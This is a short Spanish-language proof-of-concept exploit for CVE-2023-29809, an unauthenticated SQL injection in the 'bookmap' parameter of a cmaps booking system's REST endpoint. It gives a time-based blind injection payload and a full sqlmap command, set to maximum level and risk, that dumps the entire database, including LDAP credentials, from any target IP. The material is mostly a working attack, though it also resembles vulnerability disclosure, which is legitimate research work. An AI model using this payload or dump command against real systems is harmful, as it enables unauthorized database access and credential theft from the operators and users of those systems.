
Prueba de concepto de exploit para CVE-2023-29809: inyección SQL no autenticada en el sistema de reservas cmaps. Demuestra inyección ciega basada en tiempo y proporciona el comando sqlmap para la extracción de la base de datos.
Descripción:
La vulnerabilidad encontrada es una inyección SQL. El parámetro bookmap es vulnerable. Al visitar la página: http://192.168.0.56/rest/booking/index.php?mode=list&bookmap=test obtenemos la respuesta JSON normal. Sin embargo, si se añade una comilla simple al valor del parámetro bookmap, obtenemos un mensaje de error:
<b>Warning</b>: mysqli_num_rows() expects parameter 1 to be mysqli_result, bool given in <b>/var/www/html/rest/booking/index.php</b> on line <b>152</b><br />
Ahora bien, si se añaden dos comillas simples, obtenemos la respuesta normal sin error. Esto confirma la posibilidad de inyección SQL. Para demostrar realmente la inyección SQL, añadimos el siguiente payload:
'-(select*from(select+sleep(2)+from+dual)a)--+
La página tardará dos segundos en responder. Esto confirma la inyección SQL.
Pasos para reproducir:
Envía el siguiente payload para probar la vulnerabilidad: '-(select*from(select+sleep(2)+from+dual)a)--+
Si el sitio tardó dos segundos en responder, ejecuta el siguiente comando sqlmap para volcar toda la base de datos, incluidas las credenciales LDAP.
python3 sqlmap.py -u "http://<IP>/rest/booking/index.php?mode=list&bookmap=test*" --random-agent --level 5 --risk 3 --batch --timeout=10 --drop-set-cookie -o --dump
Un agradecimiento especial a iCaotix, quien me ayudó enormemente con la configuración del entorno y con la depuración de mi payload.

Observa el tiempo de respuesta.
